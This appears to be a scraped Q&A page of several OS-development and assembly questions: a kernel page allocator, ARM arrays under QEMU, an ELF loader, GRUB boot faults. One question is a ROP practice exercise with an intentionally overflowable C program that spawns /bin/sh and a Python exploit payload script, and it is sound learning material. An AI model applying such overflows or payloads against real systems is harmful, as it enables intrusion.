Im trying to write a basic page manager for my C kernel. The code goes like this:
#define NUM_PAGES 1024
#define PAGE_SIZE 4096
#define NULL 0
#define IMPORTANT_SEGMENT 0xC0900000
struct page {
void * addr;
int in_use;
};
struct page CORE_FILE[NUM_PAGES];
void mem_init() {
for (int i = 0; i < NUM_PAGES; i++) {
CORE_FILE[i].addr = (void*)IMPORTANT_SEGMENT+PAGE_SIZE*i;
CORE_FILE[i].in_use = 0;
}
}
void * allocate() {
for (int i = 0; i < NUM_PAGES; i++) {
if (!CORE_FILE[i].in_use) {
CORE_FILE[i].in_use = 1;
return CORE_FILE[i].addr;
}
}
return NULL;
}
int deallocate(void* p) {
for (int i = 0; i < NUM_PAGES; i++) {
if (CORE_FILE[i].addr == p && CORE_FILE[i].in_use) {
CORE_FILE[i].in_use = 0;
return 0;
}
}
return -1;
}
CORE_FILE is an array of structs containing just one field for telling if the page is in use and an address (im using contiguous addresses growing from IMPORTANT_SEGMENT = 0xC0900000).
When i call allocate() it returns me the correct void* which i cast for example to char, but when i write to the address it simply does nothing.
I have checked the address to which is pointing with GDB and is the correct one.
But when i examine its contents they haven't been updated (Still 0).
void kmain(void) {
mem_init();
int * addr = (int*)allocate();
*addr = 5;
}
Im giving qemu 4 GB of RAM executing with:
qemu-system-i386 -m 4G -kernel kernel -gdb tcp::5022
Perhaps im writing to non-existent memory or maybe im overwriting the address contents after. I don't know.
Any ideas will be appreciated.
Thank you in advance.
[edit] This is the bootloader im using:
bits 32
section .text
;multiboot spec
align 4
dd 0x1BADB002 ;magic
dd 0x00 ;flags
dd - (0x1BADB002 + 0x00) ;checksum. m+f+c should be zero
global start
global keyboard_handler
global read_port
global write_port
global load_idt
extern kmain ;this is defined in the c file
extern keyboard_handler_main
read_port:
mov edx, [esp + 4]
;al is the lower 8 bits of eax
in al, dx ;dx is the lower 16 bits of edx
ret
write_port:
mov edx, [esp + 4]
mov al, [esp + 4 + 4]
out dx, al
ret
load_idt:
mov edx, [esp + 4]
lidt [edx]
sti ;turn on interrupts
ret
keyboard_handler:
call keyboard_handler_main
iretd
start:
cli ;block interrupts
mov esp, stack_space
call kmain
hlt ;halt the CPU
section .bss
resb 8192; 8KB for stack
stack_space:
My link.ld
OUTPUT_FORMAT(elf32-i386)
ENTRY(start)
SECTIONS
{
. = 0x100000;
.text : { *(.text) }
. = 0x200000;
.data : { *(.data) }
. = 0x300000;
.bss : { *(.bss) }
}
Edit2: I compile with this
nasm -f elf32 kernel.asm -o kasm.o
gcc -g -fno-stack-protector -fno-builtin -m32 -c memory.c -o memory.o
gcc -g -fno-stack-protector -fno-builtin -m32 -c kernel.c -o kc.o
ld -m elf_i386 -T link.ld -o kernel kasm.o memory.o kc.o
The problem is with protected and real mode, when the computer boots it does so in 16 bit real mode, which makes you able to address 1 MB of data. Everything over that wont be suitable for reading/writing. If i changed the IMPORTANT_SEGMENT to 0x300000 it works.
Now i have to create and load my gdt, enable the a20 line, enable protected mode, set the registers and jump to my code.
Related
I would like to modify and complete an example found in my textbook (Harris-Harris). How can I make a program that declares an array of 5 elements for example and then increments each element by 10? This program must also print the elements of the array.
I've searched some resources and figured out that there are various ways to create an array in Assembly ARM. In these examples that I found, however, there are directives that I don't understand (for example .word or .skip) that are not explained in my textbook.
Hope this helps. This example uses the stack to allocate the array.
See assembly memory allocation directives for more help on allocating global variables. Moving the variable scores into global scope of the file test.c below can reveal the assembly code for that sort of solution.
What is below comes from a quick walk thru of Hello world for bare metal ARM using QEMU
Output of these steps will add 10 to 5 array integers and print their values. The code is in c but instructions are provided on how to display the code as assembly so you can study the array allocation and utilization.
Here is the expected output:
SCORE 10
SCORE 10
SCORE 10
SCORE 10
SCORE 10
ctrl-a x
QEMU: Terminated
These are the commands, notice startup.s is assembly code, test.c is c code like left side of your post, and test.ld is a linker script file to create the image QEMU needs test.bin to execute. Also, notice test.elf is available with debug symbols for use in gdb.
arm-none-eabi-as -mcpu=arm926ej-s -g startup.s -o startup.o
arm-none-eabi-gcc -c -mcpu=arm926ej-s -g test.c -o test.o
arm-none-eabi-ld -T test.ld test.o startup.o -o test.elf
arm-none-eabi-objcopy -O binary test.elf test.bin
qemu-system-arm -M versatilepb -m 128M -nographic -kernel test.bin
To examine assembly code in gdb see commands below.
Notice the array scores in this code is on the stack, read about local stack variables for ARM assembly here and examine the assembly instructions below at 0x10888 where sp is incremented by 24 (20 for scores and 4 for i).
qemu-system-arm -M versatilepb -m 128M -nographic -kernel test.bin -s -S
arm-none-eabi-gdb test.elf -ex "target remote:1234"
(gdb) b c_entry
(gdb) cont
(gdb) x/20i c_entry
0x10180 <c_entry>: push {r11, lr}
0x10184 <c_entry+4>: add r11, sp, #4
0x10188 <c_entry+8>: sub sp, sp, #24
I use a macbook and install tools like this, they end up in /usr/local/bin:
brew install --cask gcc-arm-embedded
brew install qemu
The c code used is similar to what you posted and combines the article snip w/ a function to print an integer. References are inline of the code.
// test.c
// https://balau82.wordpress.com/2010/02/28/hello-world-for-bare-metal-arm-using-qemu/
volatile unsigned int *const UART0DR = (unsigned int *)0x101f1000;
void print_uart0(const char *s) {
while (*s != '\0') { /* Loop until end of string */
*UART0DR = (unsigned int)(*s); /* Transmit char */
s++; /* Next char */
}
}
// https://www.geeksforgeeks.org/c-program-to-print-all-digits-of-a-given-number/
void print_int(int N) {
#define MAX 10
char arr[MAX]; // To store the digit of the number N
int i = MAX - 1;
int minus = ( N < 0 );
int r;
arr[i--] = 0;
while (N != 0) { // Till N becomes 0
r = N % 10; // Extract the last digit of N
arr[i--] = r + '0'; // Put the digit in arr[]
N = N / 10; // Update N to N/10 to extract next last digit
}
arr[i] = ( minus ) ? '-' : ' ';
print_uart0(arr + i );
}
void c_entry() {
int i;
int scores[5] = {0, 0, 0, 0, 0};
for (i = 0; i < 5; i++) {
scores[i] += 10;
print_uart0("SCORE ");
print_int( scores[i] );
print_uart0("\n");
}
}
Using the same startup.s assembly from article:
.global _Reset
_Reset:
LDR sp, =stack_top
BL c_entry
B .
Using the same linker script from article:
ENTRY(_Reset)
SECTIONS
{
. = 0x10000;
.startup . : { startup.o(.text) }
.text : { *(.text) }
.data : { *(.data) }
.bss : { *(.bss COMMON) }
. = ALIGN(8);
. = . + 0x1000; /* 4kB of stack memory */
stack_top = .;
}
I am trying to implement my own binary loader for learning purposes, but cannot figure out the data segment.
section .data
helloworld db "hello world", 10
section .text
global _start
test: ;just for testing
ret
_start:
call test
mov rax, 1
mov rbx, 1
mov rcx, helloworld
mov rdx, 11
syscall
mov rax, 60
mov rdi, 0
syscall
This is my assembly program that I am trying to run. I compiled with nasm -f elf64 test.s -o test.o && ld test.o -o test.bin
My loader looks like this:
int main(int argc, char** argv) {
char* bin = argv[1];
struct ElfLib lib = read_elf(bin); //just reading the elf library into the default structures (Elf64_Ehdr, Elf64_Phdr, etc...)
unsigned char* exec = mmap(NULL, DEFAULT_MEM_SIZ, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); //allocating the virtual memory
memset(exec, 0, DEFAULT_MEM_SIZ);
for (int i = 0; i < lib.elf_header.e_phnum; i++) {
Elf64_Phdr phdr = lib.program_headers[i];
fseek(lib.execfile, phdr.p_offset, SEEK_SET);
switch (phdr.p_type) {
case PT_LOAD: {
//load the memory at the file offset into the virtual address of exec
fread(exec + phdr.p_vaddr, sizeof(unsigned char), phdr.p_memsz, lib.execfile);
break;
}
}
int flags = PROT_NONE;
#define HASFLAG(flag) if (phdr.p_flags & flag) flags|=flag
HASFLAG(PROT_EXEC); //execute flag on
HASFLAG(PROT_WRITE); //write flag on
HASFLAG(PROT_READ); //read flag on
mprotect(exec + phdr.p_vaddr, phdr.p_memsz, flags);
}
void (*ex)() = (void*)(exec + lib.elf_header.e_entry);
ex(); //call the _start function in the virtual memory
}
But when I run it, nothing gets printed.
I tried running it under GDB, and the program promptly exits after the exit syscall, with mov rax, 60 and mov rdi, 0, so I know the system call part works. I think that the issue is in the address of helloworld in the hello world program. GDB says that it is still under address 0x402000, which probably is not the same address under the virtual memory. Surprisingly, the test function is at 0x401000 with objdump, but at a completely different one when running with GDB, which does get called. Does anyone have an idea on how to go about implementing this?
I'm not sure how much this will help, but I'm running using x64 Linux under intel.
nasm -f elf64 test.s -o test.o
ld test.o -o test.bin
Unfortunately, I don't have NASM, but if I use GNU assembler instead of NASM, the lines above result in a position-dependent file.
This means that phdr.p_vaddr does not specify a value that is relative to the variable exec, but phdr.p_vaddr specifies an absolute address that must not be changed.
Assuming the symbol helloworld is located at the start of the data segment, the instruction mov rcx, helloworld will simply load the value phdr.p_vaddr into the register rcx - and not the value exec + phdr.p_vaddr.
However, because the address phdr.p_vaddr may already be used, you cannot simply load your code there!
The only possibility that you have if you want to load code from an already running program is so-called "position independent code" that can be loaded at different addresses in memory...
By the way:
64-bit x86 Linux does not take the parameters in rbx, rcx and rdx, but in rdi, rsi and rdx.
I'm practicing with ROPchain and I have a very simple program, where I'm unable to call the 'vulnerable' function successfully:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vuln(int a, int b) {
if (a == 0xdeadbeef && b == 231) {
system("/bin/sh\00");
}
}
int main() {
char buf[32];
printf("Input: ");
fgets(buf, 256, stdin);
printf("Result: %s", buf);
return 0;
}
Here's the file info for that binary:
program: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=95e46dcb8715548e3435a24e862efdf1a84c01fd, for GNU/Linux 3.2.0, not stripped
I'm using ROPgadget tool to get pop rsi ; pop r15 ; ret. And here is my exploit:
import struct
junk = 'A' * 32
ebp = 'B' * 8
ret_adr = struct.pack('<Q', 0x0000555555555155) # vuln
pop_rsi = struct.pack('<Q', 0x0000000000001239) # pop rsi ; pop r15 ; ret
arg_1 = struct.pack('<Q', 0xdeadbeef) # first argument
arg_2 = struct.pack('<Q', 231) # second argument
print junk + ebp + pop_rsi + arg_2 + arg_1 + ret_adr
And I'm calling the binary like so:
(python exploit.py; cat) | ./program
It just dies with Segmentation fault.
I tried changing the order of arguments as well, but still cannot make it work. What am I doing wrong?
P.S. It works perfectly if there's just 1 argument in that function and when I'm using pop rdi; ret.
You have a position independent executable, this means that addresses will change at runtime every time. You want an executable that is not PIE, compile with -no-pie -fno-pie, and then get the addresses you want again from the debugger or just with objdump.
I am trying to switch from GRUB 0.97 (stage2_eltorito) to GRUB 2, generating an ISO image that boots the operating system. However, I am facing a peculiar error. Just to give some context, I have recently set up some exception handling ISRs and two IRQs: one for keyboard input, one for timer ticks. When booted with GRUB Legacy, the kernel works fine, and the keyboard input also works. When booting with GRUB 2, for some reason, the kernel catches a General Protection Fault exception and halts the system. I have proofread my code multiple times and I cannot find an error in it anywhere that may cause this GPF error. What is my problem, and how can it be fixed? Here is the Assembly entry point of the kernel, including the Multiboot header:
extern toc
extern init
extern kmain
extern load_gdt
global start32
MBALIGN equ 1<<0
MEMINFO equ 1<<1
MAGIC_NUMBER equ 0x1BADB002
FLAGS equ MBALIGN | MEMINFO
CHECKSUM equ -(MAGIC_NUMBER + FLAGS)
section .text
align 4
dd MAGIC_NUMBER
dd FLAGS
dd CHECKSUM
start32:
call load_gdt
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
mov esp, 0x9c000
call init
push ebx
call kmain
(I don't think this a Multiboot issue, as the kernel actually loads perfectly in both cases)
The load_gdt and associated labels mentioned here (as I think this may be part of the issue)
global toc
global load_gdt
section .text
load_gdt:
lgdt[toc]
ret
section .rodata
gdt32:
dd 0
dd 0
dw 0x0FFFF
dw 0
db 0
db 0x9A
db 0xCF
db 0
dw 0x0FFFF
dw 0
db 0
db 0x92
db 0xCF
db 0
gdt_end:
toc:
dw gdt_end - gdt32 - 1
dd gdt32
The init() function that sets the OS up (before I make an initrd, of course)
#include <kernel.h>
void init()
{
interrupt_disable();
terminal_init(LGREEN, BLACK);
idt_install();
isr_install();
irq_install();
interrupt_enable();
timer_install();
keyboard_install();
return;
}
And of course, my kmain
#include <kernel.h>
#include <multiboot.h>
char logo[1024] = {
":::::::::::///oyhhyo//:::::::::::/:\n" \
"://////////+yNNmhysoo+////////////:\n" \
"::/://:://yNdy+//::::::+o/:://////:\n" \
"::////://sNdy+//::-:-:::++/://////:\n" \
"::::::://dmdyo/:::::--::++/::::::::\n" \
":::::::/+mdhhysoo+:/++//+y/::::::::\n" \
":::::::/oddyooo+/o//+so+/o/::::::::\n" \
"+ = = + + + +++++ Welcome to LunaOS!\n" \
"+ = = + + + +===+ A simple 32-bit operating system\n" \
"+ = = + + + + + Written soley by Safal Aryal\n" \
"++++++ = = = = + + + + All components of this OS,\n" \
":::::::/+hhyo///+s///::/+//:::::::: are in the public domain!\n" \
"::::::://oshs+/+hdhs+/////::::::::: (excluding the GRUB bootloader)\n" \
"::::::::/++so+shdyhys+////::::::::: Type `help` for a list of commands\n" \
"::::::::/+o++oosso++/+/:/::::::::::\n" \
":::::::/ossssysoso+//+/:/::::::::::\n" \
":::://ohysosysso+oo/:///:::::::::::\n" \
"::::--:/ssyoshhsoo+/::+:/-:::::::::\n" \
":::-----:+shysdyo/-.`-/::--:----:::\n" \
"--::------:+sssyo/.`.:/:----::-----\n" \
"-::/:--::-::---//////--------::----\n" \
};
void kmain(multiboot_info_t *mbd, uint32_t magic)
{
uint32_t mmap;
if((mbd->flags >> 6) & 1) {
mmap = mbd->mmap_addr;
}
terminal_puts(logo);
terminal_puts("SHELL> ");
for(;;){asm volatile("sti"); asm volatile ("hlt");};
}
Thanks in advance!
(Note: multiboot_info_t is defined in the Multiboot header which I use to access the memory map, a pointer to its type is passed as a parameter to kmain by pushing EBX to the stack in kernel.asm)
P.S: kvm -kernel seems to work...
I've written a simple kernel that tries to write two characters to the frame buffer.
If I define a string literal in the kernel, I get the following output when it boots:
Booting 'os'
kernel /boot/kernel.elf
Error 13: Invalid or unsupported executable format
Press any key to continue...
Otherwise, if I define two characters I get the following (note 'ab' at the start of the output):
abBooting 'os'
kernel /boot/kernel.elf
[Multiboot-elf, <0x100000:0x201:0x0>, <0x101000:0x0:0x1000>, shtab=0x102168,
entry=0x1001f0]
loader
I wrote the loader in assembly:
global loader ; the entry symbol for ELF
MAGIC_NUMBER equ 0x1BADB002 ; define the magic number constant
FLAGS equ 0x0 ; multiboot flags
CHECKSUM equ -MAGIC_NUMBER ; calculate the checksum
; (magic number + checksum + flags should equal 0)
KERNEL_STACK_SIZE equ 4096 ; size of stack in bytes
section .text: ; start of the text (code) section
align 4 ; the code must be 4 byte aligned
dd MAGIC_NUMBER ; write the magic number to the machine code,
dd FLAGS ; the flags,
dd CHECKSUM ; and the checksum
loader: ; the loader label (defined as entry point in linker script)
mov eax, 0xCAFEBABE ; place the number 0xCAFEBABE in the register eax
mov esp, kernel_stack + KERNEL_STACK_SIZE ; point esp to the start of the
; stack (end of memory area)
extern run
call run
.loop:
jmp .loop ; loop forever
section .bss
align 4 ; align at 4 bytes
kernel_stack: ; label points to beginning of memory
resb KERNEL_STACK_SIZE ; reserve stack for the kernel
The kernel is written in c
#include "io.h"
#include "fb.h"
void run()
{
// try writing message to port
char* c = (char *) 10000;
c[0] = 'a';
c[1] = 'b';
fb_write(c, 2); // this does not cause the error
// fb_write("ab",2); // this line would cause the error
}
External headers
There are two external headers. One for IO ports called io.h and one for writing to the frame buffer called fb.h
Here is io.h and the implementation io.s
io.h:
#ifndef INCLUDE_IO_H
#define INCLUDE_IO_H
/** outb:
* Sends the given data to the given I/O port. Defined in io.s
*
* #param port The I/O port to send the data to
* #param data The data to send to the I/O port
*/
void outb(unsigned short port, unsigned char data);
#endif /* INCLUDE_IO_H */
io.s:
global outb ; make the label outb visible outside this file
; outb - send a byte to an I/O port
; stack: [esp + 8] the data byte
; [esp + 4] the I/O port
; [esp ] return address
outb:
mov al, [esp + 8]
mov dx, [esp + 4]
out dx, al
ret
fb.h
#include "io.h"
// FRAME BUFFER ================================
// Text colors
#define FB_BLACK 0
#define FB_BLUE 1
#define FB_GREEN 2
#define FB_CYAN 3
#define FB_RED 4
#define FB_MAGENTA 5
#define FB_BROWN 6
#define FB_LT_GREY 7
#define FB_DARK_GREY 8
#define FB_LT_BLUE 9
#define FB_LT_GREEN 10
#define FB_LT_CYAN 11
#define FB_LT_RED 12
#define FB_LT_MAGENTA 13
#define FB_LT_BROWN 14
#define FB_WHITE 15
// IO PORTS
#define FB_COMMAND_PORT 0x3D4
#define FB_DATA_PORT 0x3D5
// IO PORT COMMANDS
#define FB_HIGH_BYTE_COMMAND 14 // move cursor command low
#define FB_LOW_BYTE_COMMAND 15 // move cursor command high
/** fb_write_cell:
* used to write a character to a cell in the framebuffer
*
* param i which cell to write to
* param c the ascii char to write
* param fg foreground color
* param bf background color
*/
void fb_write_cell(unsigned int i, char c, unsigned char fg, unsigned char bg);
/** fb_move_cursor:
* used to move the cursor within the frame buffer
*
* param pos position within frame buffer to move cursor to
*/
void fb_move_cursor(unsigned short pos);
/** fb_write:
* write some text to the cursor
*
* param buf pointer to character string
* param len length of string to write
*/
int fb_write(char *buf, unsigned int len);
fb.c
#include "fb.h"
void fb_write_cell(unsigned int i, char c, unsigned char fg, unsigned char bg)
{
char *fb = (char *) 0x000B8000;
fb[i*2] = c;
fb[i*2 + 1] = ((fg & 0x0F) << 4) | (bg & 0x0F);
}
void fb_move_cursor(unsigned short pos) {
outb(FB_COMMAND_PORT, FB_HIGH_BYTE_COMMAND);
outb(FB_DATA_PORT, ((pos>>8) & 0x00FF));
outb(FB_COMMAND_PORT, FB_LOW_BYTE_COMMAND);
outb(FB_DATA_PORT, pos & 0x00FF);
}
int fb_write(char *buf, unsigned int len) {
unsigned int i = 0;
for(i = 0; i < len; i++) {
fb_write_cell(i, buf[i], FB_BLACK, FB_WHITE);
}
return 0;
}
Building it
I have a linker script called link.ld and a Makefile. I'm using gcc cross compiler for i386-elf That I compiled using this guide (http://wiki.osdev.org/GCC_Cross-Compiler).
ENTRY(loader) /* the name of the entry label */
SECTIONS {
. = 0x00100000; /* the code should be loaded at 1 MB */
.text ALIGN (0x1000) : /* align at 4 KB */
{
*(.text) /* all text sections from all files */
}
.rodata ALIGN (0x1000) : /* align at 4 KB */
{
*(.rodata*) /* all read-only data sections from all files */
}
.data ALIGN (0x1000) : /* align at 4 KB */
{
*(.data) /* all data sections from all files */
}
.bss ALIGN (0x1000) : /* align at 4 KB */
{
sbss = .;
*(COMMON) /* all COMMON sections from all files */
*(.bss) /* all bss sections from all files */
ebss = .;
}
}
And here is my makefile
OBJECTS = io.o fb.o loader.o kmain.o
#CC = gcc
CC = /home/albertlockett/opt/cross/bin/i386-elf-gcc
CFLAGS = -m32 -nostdlib -nostdinc -fno-builtin -fno-stack-protector \
-nostartfiles -nodefaultlibs -Wall -Wextra -Werror -c
LDFLAGS = -T link.ld -melf_i386
AS = nasm
ASFLAGS = -f elf
all: kernel.elf
kernel.elf: $(OBJECTS)
ld $(LDFLAGS) $(OBJECTS) -o kernel.elf
os.iso: kernel.elf
cp kernel.elf iso/boot/kernel.elf
genisoimage -R \
-b boot/grub/stage2_eltorito \
-no-emul-boot \
-boot-load-size 4 \
-A os \
-input-charset utf8 \
-quiet \
-boot-info-table \
-o os.iso \
iso
run: os.iso
bochs -f bochsrc.txt -q
%.o: %.c
$(CC) $(CFLAGS) $< -o $#
%.o: %.s
$(AS) $(ASFLAGS) $< -o $#
clean:
rm -rf *.o kernel.elf os.iso
Run it
The makefile builds an iso from the contents of a directory called iso. That folder contains a preconfigured version of grub that I got here (https://github.com/littleosbook/littleosbook/blob/master/files/stage2_eltorito) and a menu.lst file for grub
menu.lst:
default=0
timeout=0
title os
kernel /boot/kernel.elf
contents of iso directory:
iso
`-- boot
|-- grub
| |-- menu.lst
| `-- stage2_eltorito
`-- kernel.elf
The iso image boots in bochs. Here is my bochsrc.txt file
megs: 32
display_library: term
romimage: file=/usr/share/bochs/BIOS-bochs-latest
vgaromimage: file=/usr/share/bochs/VGABIOS-lgpl-latest
ata0-master: type=cdrom, path=os.iso, status=inserted
boot: cdrom
log: bochslog.txt
clock: sync=realtime, time0=local
cpu: count=1, ips=1000000
com1: enabled=1, mode=file, dev=com1.out
Does anyone know why the string literal in the kernel file produces the error when I try to boot the iso?
You have an extra colon at the end of section .text: so that creates a new section named .text:. For some obscure reason that I couldn't find out from a quick glance at the documentation, this section is emitted to the output even though it is not listed in your linker script. When you have no literal data in the C code, you are lucky that it still falls within the first 8kiB of the image, so that the multiboot header is in the required portion. If you do have a string literal, you will get a new section .rodata and that, for yet another obscure reason, gets sorted before your .text: but after the standard .text. Example:
Sections:
Idx Name Size VMA LMA File off Algn
0 .text 00000001 00100000 00100000 00001000 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
1 .rodata 00000005 00101000 00101000 00002000 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .text: 00000018 00101008 00101008 00002008 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .bss 0000100a 00102000 00102000 00003000 2**2
ALLOC
As you can see it's no longer within the first 8kiB of the image, so grub will be very sad.
TL;DR: remove the extra colon after section .text:.